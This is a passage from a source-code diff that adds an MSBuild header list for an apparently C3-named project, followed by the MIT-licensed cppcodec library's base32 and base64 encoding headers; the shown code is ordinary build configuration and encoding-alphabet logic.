<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\AutomaticRegistrator.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\BackendCommons.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\HasConstructor.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\InterfaceFactory.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Sdk.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteArray.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteVector.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteView.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Encryption.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Hash.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Payload.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ScopeGuard.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Utils.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\XError.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Base32.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Base64.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Crypto.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\EncryptionKey.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Nonce.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Sodium.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\AddrInfo.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\InitializeSockets.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\Socket.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\SocketsException.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\AbstractService.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Pipe.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Proxy.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\PrecompiledHeader.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Services.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\UniqueHandle.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\XError.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Mock.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\DuplexConnection.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\Sockets.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Slack\SlackApi.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\Slack.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.hxx" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\SafeSmartPointerContainer.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\Indexes.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\Inline.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\MetaRandom.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\MetaString.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\SecureString.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\HostInfo.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\StructuredExceptionHandling.h" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)C3_BUILD_VERSION_HASH_PART.hxx" />
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,6 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup>
|
||||||
|
<ShowAllFiles>true</ShowAllFiles>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,21 @@
|
||||||
|
Copyright (c) 2015 Topology Inc.
|
||||||
|
Copyright (c) 2018 Jakob Petsovits
|
||||||
|
Copyright (c) various other contributors, see individual files
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
|
@ -0,0 +1,101 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE32_CROCKFORD
|
||||||
|
#define CPPCODEC_BASE32_CROCKFORD
|
||||||
|
|
||||||
|
#include "detail/codec.hpp"
|
||||||
|
#include "detail/base32.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
static constexpr const char base32_crockford_alphabet[] = {
|
||||||
|
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', // at index 10
|
||||||
|
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', // 18 - no I
|
||||||
|
'J', 'K', // 20 - no L
|
||||||
|
'M', 'N', // 22 - no O
|
||||||
|
'P', 'Q', 'R', 'S', 'T', // 27 - no U
|
||||||
|
'V', 'W', 'X', 'Y', 'Z' // 32
|
||||||
|
};
|
||||||
|
static_assert(sizeof(base32_crockford_alphabet) == 32, "base32 alphabet must have 32 values");
|
||||||
|
|
||||||
|
class base32_crockford_base
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
static inline constexpr bool generates_padding() { return false; }
|
||||||
|
static inline constexpr bool requires_padding() { return false; }
|
||||||
|
static inline constexpr bool is_padding_symbol(char /*c*/) { return false; }
|
||||||
|
|
||||||
|
static inline constexpr char symbol(uint8_t index)
|
||||||
|
{
|
||||||
|
return base32_crockford_alphabet[index];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline constexpr uint8_t index_of(char c)
|
||||||
|
{
|
||||||
|
return (c >= '0' && c <= '9') ? (c - '0')
|
||||||
|
// upper-case letters
|
||||||
|
: (c >= 'A' && c <= 'H') ? (c - 'A' + 10) // no I
|
||||||
|
: (c >= 'J' && c <= 'K') ? (c - 'J' + 18) // no L
|
||||||
|
: (c >= 'M' && c <= 'N') ? (c - 'M' + 20) // no O
|
||||||
|
: (c >= 'P' && c <= 'T') ? (c - 'P' + 22) // no U
|
||||||
|
: (c >= 'V' && c <= 'Z') ? (c - 'V' + 27)
|
||||||
|
// lower-case letters
|
||||||
|
: (c >= 'a' && c <= 'h') ? (c - 'a' + 10) // no I
|
||||||
|
: (c >= 'j' && c <= 'k') ? (c - 'j' + 18) // no L
|
||||||
|
: (c >= 'm' && c <= 'n') ? (c - 'm' + 20) // no O
|
||||||
|
: (c >= 'p' && c <= 't') ? (c - 'p' + 22) // no U
|
||||||
|
: (c >= 'v' && c <= 'z') ? (c - 'v' + 27)
|
||||||
|
: (c == '-') ? 253 // "Hyphens (-) can be inserted into strings [for readability]."
|
||||||
|
: (c == '\0') ? 255 // stop at end of string
|
||||||
|
// special cases
|
||||||
|
: (c == 'O' || c == 'o') ? 0
|
||||||
|
: (c == 'I' || c == 'i' || c == 'L' || c == 'l') ? 1
|
||||||
|
: throw symbol_error(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline constexpr bool should_ignore(uint8_t index) { return index == 253; }
|
||||||
|
static inline constexpr bool is_special_character(uint8_t index) { return index > 32; }
|
||||||
|
static inline constexpr bool is_eof(uint8_t index) { return index == 255; }
|
||||||
|
};
|
||||||
|
|
||||||
|
// base32_crockford is a concatenative iterative (i.e. streaming) interpretation of Crockford base32.
|
||||||
|
// It interprets the statement "zero-extend the number to make its bit-length a multiple of 5"
|
||||||
|
// to mean zero-extending it on the right.
|
||||||
|
// (The other possible interpretation is base32_crockford_num, a place-based single number encoding system.
|
||||||
|
// See http://merrigrove.blogspot.ca/2014/04/what-heck-is-base64-encoding-really.html for more info.)
|
||||||
|
class base32_crockford : public base32_crockford_base
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template <typename Codec> using codec_impl = stream_codec<Codec, base32_crockford>;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
|
||||||
|
using base32_crockford = detail::codec<detail::base32<detail::base32_crockford>>;
|
||||||
|
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE32_CROCKFORD
|
|
@ -0,0 +1,31 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE32_DEFAULT_CROCKFORD
|
||||||
|
#define CPPCODEC_BASE32_DEFAULT_CROCKFORD
|
||||||
|
|
||||||
|
#include "base32_crockford.hpp"
|
||||||
|
|
||||||
|
using base32 = cppcodec::base32_crockford;
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE32_DEFAULT_CROCKFORD
|
|
@ -0,0 +1,31 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015, 2016 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE32_DEFAULT_HEX
|
||||||
|
#define CPPCODEC_BASE32_DEFAULT_HEX
|
||||||
|
|
||||||
|
#include "base32_hex.hpp"
|
||||||
|
|
||||||
|
using base32 = cppcodec::base32_hex;
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE32_DEFAULT_HEX
|
|
@ -0,0 +1,31 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE32_DEFAULT_RFC4648
|
||||||
|
#define CPPCODEC_BASE32_DEFAULT_RFC4648
|
||||||
|
|
||||||
|
#include "base32_rfc4648.hpp"
|
||||||
|
|
||||||
|
using base32 = cppcodec::base32_rfc4648;
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE32_DEFAULT_RFC4648
|
|
@ -0,0 +1,79 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015, 2016 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE32_HEX
|
||||||
|
#define CPPCODEC_BASE32_HEX
|
||||||
|
|
||||||
|
#include "detail/codec.hpp"
|
||||||
|
#include "detail/base32.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
// RFC 4648 uses a simple alphabet: A-Z starting at index 0, then 2-7 starting at index 26.
|
||||||
|
static constexpr const char base32_hex_alphabet[] = {
|
||||||
|
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
|
||||||
|
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
|
||||||
|
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V'
|
||||||
|
};
|
||||||
|
static_assert(sizeof(base32_hex_alphabet) == 32, "base32 alphabet must have 32 values");
|
||||||
|
|
||||||
|
class base32_hex
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template <typename Codec> using codec_impl = stream_codec<Codec, base32_hex>;
|
||||||
|
|
||||||
|
static inline constexpr bool generates_padding() { return true; }
|
||||||
|
static inline constexpr bool requires_padding() { return true; }
|
||||||
|
static inline constexpr char padding_symbol() { return '='; }
|
||||||
|
|
||||||
|
static inline constexpr char symbol(uint8_t index)
|
||||||
|
{
|
||||||
|
return base32_hex_alphabet[index];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline constexpr uint8_t index_of(char c)
|
||||||
|
{
|
||||||
|
return (c >= '0' && c <= '9') ? (c - '0')
|
||||||
|
: (c >= 'A' && c <= 'V') ? (c - 'A' + 10)
|
||||||
|
: (c == padding_symbol()) ? 254
|
||||||
|
: (c == '\0') ? 255 // stop at end of string
|
||||||
|
: (c >= 'a' && c <= 'v') ? (c - 'a' + 10) // lower-case: not expected, but accepted
|
||||||
|
: throw symbol_error(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
// RFC4648 does not specify any whitespace being allowed in base32 encodings.
|
||||||
|
static inline constexpr bool should_ignore(uint8_t /*index*/) { return false; }
|
||||||
|
static inline constexpr bool is_special_character(uint8_t index) { return index > 32; }
|
||||||
|
static inline constexpr bool is_padding_symbol(uint8_t index) { return index == 254; }
|
||||||
|
static inline constexpr bool is_eof(uint8_t index) { return index == 255; }
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
|
||||||
|
using base32_hex = detail::codec<detail::base32<detail::base32_hex>>;
|
||||||
|
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE32_HEX
|
|
@ -0,0 +1,79 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE32_RFC4648
|
||||||
|
#define CPPCODEC_BASE32_RFC4648
|
||||||
|
|
||||||
|
#include "detail/codec.hpp"
|
||||||
|
#include "detail/base32.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
// RFC 4648 uses a simple alphabet: A-Z starting at index 0, then 2-7 starting at index 26.
|
||||||
|
static constexpr const char base32_rfc4648_alphabet[] = {
|
||||||
|
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
|
||||||
|
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', // at index 26
|
||||||
|
'2', '3', '4', '5', '6', '7'
|
||||||
|
};
|
||||||
|
static_assert(sizeof(base32_rfc4648_alphabet) == 32, "base32 alphabet must have 32 values");
|
||||||
|
|
||||||
|
class base32_rfc4648
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template <typename Codec> using codec_impl = stream_codec<Codec, base32_rfc4648>;
|
||||||
|
|
||||||
|
static inline constexpr bool generates_padding() { return true; }
|
||||||
|
static inline constexpr bool requires_padding() { return true; }
|
||||||
|
static inline constexpr char padding_symbol() { return '='; }
|
||||||
|
|
||||||
|
static inline constexpr char symbol(uint8_t index)
|
||||||
|
{
|
||||||
|
return base32_rfc4648_alphabet[index];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline constexpr uint8_t index_of(char c)
|
||||||
|
{
|
||||||
|
return (c >= 'A' && c <= 'Z') ? (c - 'A')
|
||||||
|
: (c >= '2' && c <= '7') ? (c - '2' + 26)
|
||||||
|
: (c == padding_symbol()) ? 254
|
||||||
|
: (c == '\0') ? 255 // stop at end of string
|
||||||
|
: (c >= 'a' && c <= 'z') ? (c - 'a') // lower-case: not expected, but accepted
|
||||||
|
: throw symbol_error(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
// RFC4648 does not specify any whitespace being allowed in base32 encodings.
|
||||||
|
static inline constexpr bool should_ignore(uint8_t /*index*/) { return false; }
|
||||||
|
static inline constexpr bool is_special_character(uint8_t index) { return index > 32; }
|
||||||
|
static inline constexpr bool is_padding_symbol(uint8_t index) { return index == 254; }
|
||||||
|
static inline constexpr bool is_eof(uint8_t index) { return index == 255; }
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
|
||||||
|
using base32_rfc4648 = detail::codec<detail::base32<detail::base32_rfc4648>>;
|
||||||
|
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE32_RFC4648
|
|
@ -0,0 +1,31 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE64_DEFAULT_RFC4648
|
||||||
|
#define CPPCODEC_BASE64_DEFAULT_RFC4648
|
||||||
|
|
||||||
|
#include "base64_rfc4648.hpp"
|
||||||
|
|
||||||
|
using base64 = cppcodec::base64_rfc4648;
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE64_DEFAULT_RFC4648
|
|
@ -0,0 +1,31 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
